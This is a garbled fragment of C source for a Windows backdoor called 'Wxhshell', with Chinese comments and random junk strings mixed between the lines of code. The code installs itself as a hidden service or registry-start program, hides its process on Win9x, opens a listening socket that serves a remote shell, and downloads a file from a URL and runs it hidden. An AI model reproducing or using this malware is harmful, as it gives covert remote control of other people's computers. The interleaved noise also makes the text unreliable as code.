-:3b 31c*^ZE. if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U2?R&c;b [-[59H[6) CloseHandle(hProcess); C)R hld y;CX)!8 if(strstr(procName,"services")) return 1; // 以服务启动 pYzop4 dhA~Yu return 0; // 注册表启动 2]?=\_T } LZ_0=Xx% )#z{P[X^ // 主模块 7b08Lo7b int StartWxhshell(LPSTR lpCmdLine) ZHjL8Iq { ,9d]-CuP; SOCKET wsl; ?o.d FKUe BOOL val=TRUE; tz2=l.1 int port=0; 7omHorU+ struct sockaddr_in door; ),vDn}> d)V8FX,t if(wscfg.ws_autoins) Install(); uWKmINjv' ;<m*ASM.3 port=atoi(lpCmdLine); i$%Bo/Y
W/\VpD) ?; if(port<=0) port=wscfg.ws_port; Z8Ig, -5 WSADATA data; ~5N
oR if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y akRKiz\ pt"9zkPj if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; T0dD:s N setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~n@rX=Y)]0 door.sin_family = AF_INET; a(6h`GHo door.sin_addr.s_addr = inet_addr("127.0.0.1"); @*<0:Q|m door.sin_port = htons(port); D|Q7dIZm (_4DZMf if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C{m%]jKH closesocket(wsl); [u!n=ev return 1; ?2#'>B } y>w;'QR&a &~+QPnI>Pm if(listen(wsl,2) == INVALID_SOCKET) { VO eVS&} closesocket(wsl); n"RV!{& return 1; ?ckV 2
} b4dviYI Wxhshell(wsl); 2#:p:R8I> WSACleanup(); U!-Nx9 E \DA3lq return 0; :0B 7lDw )aGSZ1`/ } wHs1ge ( ws9IO ?|&G // 以NT服务方式启动 X uE: dL? VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1|4,jm $ { 3%5YUG@ DWORD status = 0; (eU 4{X7 DWORD specificError = 0xfffffff; xE@/8h So!=uYX serviceStatus.dwServiceType = SERVICE_WIN32; 2`riI*fQ serviceStatus.dwCurrentState = SERVICE_START_PENDING; TMMJ5\t2 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N8pL2y:R[P serviceStatus.dwWin32ExitCode = 0; \mh #MMp serviceStatus.dwServiceSpecificExitCode = 0; 5z0VMt serviceStatus.dwCheckPoint = 0; G`n
$A/9Q serviceStatus.dwWaitHint = 0; -O\i^?lD; 8 5ET$YV hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qJ`:$U if (hServiceStatusHandle==0) return; f%.Ngf9 [HYr |T status = GetLastError(); MAkr9AKb, if (status!=NO_ERROR) ^K"BQ~-w { $O*@Jg= serviceStatus.dwCurrentState = SERVICE_STOPPED; cg3}33Z;6 serviceStatus.dwCheckPoint = 0; $2h%IK>#G serviceStatus.dwWaitHint = 0; E>]K#H
serviceStatus.dwWin32ExitCode = status; ]Ac}+? serviceStatus.dwServiceSpecificExitCode = specificError; l~;>KjZg SetServiceStatus(hServiceStatusHandle, &serviceStatus); \t=0rFV)t return; Godrz*" } =W3
K6w rWL;pM< serviceStatus.dwCurrentState = SERVICE_RUNNING; MBg[hu% serviceStatus.dwCheckPoint = 0; !5lV#w!vb serviceStatus.dwWaitHint = 0; an"~n`g if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NCkI[d]B@ } ISNL='% wxvi)|) // 处理NT服务事件,比如:启动、停止 VSY p VOID WINAPI NTServiceHandler(DWORD fdwControl) HQm_ K0$ { 1V1I[CxlX switch(fdwControl) 70 7( LG { o p9dYjG7 case SERVICE_CONTROL_STOP: b*?u+tWP_ serviceStatus.dwWin32ExitCode = 0; ?p@J7{a serviceStatus.dwCurrentState = SERVICE_STOPPED; `5@F'tKQ serviceStatus.dwCheckPoint = 0; K{ar)_V/ serviceStatus.dwWaitHint = 0; .c-a$39 { &$/
#"lW,V SetServiceStatus(hServiceStatusHandle, &serviceStatus); d)vP9vXy } oV:oc, return; D;C';O case SERVICE_CONTROL_PAUSE: XJe=+_K9 serviceStatus.dwCurrentState = SERVICE_PAUSED; ffmtTJFC5 break; eo9/ case SERVICE_CONTROL_CONTINUE: ~I5hV}ZT serviceStatus.dwCurrentState = SERVICE_RUNNING; ~)ys,Q break; m@Yc&M~ case SERVICE_CONTROL_INTERROGATE: \i_E}Ii0 break; .^{%hc*w4 }; WChP,hw SetServiceStatus(hServiceStatusHandle, &serviceStatus); hNN[dj R } /dYv@OU? p@G7}'|eyA // 标准应用程序主函数 7tcadXk0 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -Ty~lZ)TDT { !}TsFa kh0cJE\_^ // 获取操作系统版本 4uIYX OsIsNt=GetOsVer(); EpAgKzVpJ GetModuleFileName(NULL,ExeFile,MAX_PATH); Z71m(//*} e7U\gtZ. // 从命令行安装 {zAI-?#*u if(strpbrk(lpCmdLine,"iI")) Install(); qazA,|L! +\Vm t[v // 下载执行文件 RHC ZP if(wscfg.ws_downexe) { mF*x&^ie if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~+dps i WinExec(wscfg.ws_filenam,SW_HIDE); ?+d`_/IB } U0_^6zd_ 06pvI} if(!OsIsNt) { _Ub
`\ytx // 如果时win9x,隐藏进程并且设置为注册表启动 !e|\1v'0 HideProc(); !B3TLeh StartWxhshell(lpCmdLine); R (~wSL*R> } H\S)a FY[ else U7s$';y"% if(StartFromService()) O{X~,Em=q // 以服务方式启动 F]3Y,{/V StartServiceCtrlDispatcher(DispatchTable); s7Agr!>f else B`}um;T#~, // 普通方式启动 P'Rw/co StartWxhshell(lpCmdLine); NGc~%0n Z[. M>| return 0; o&q>[c }
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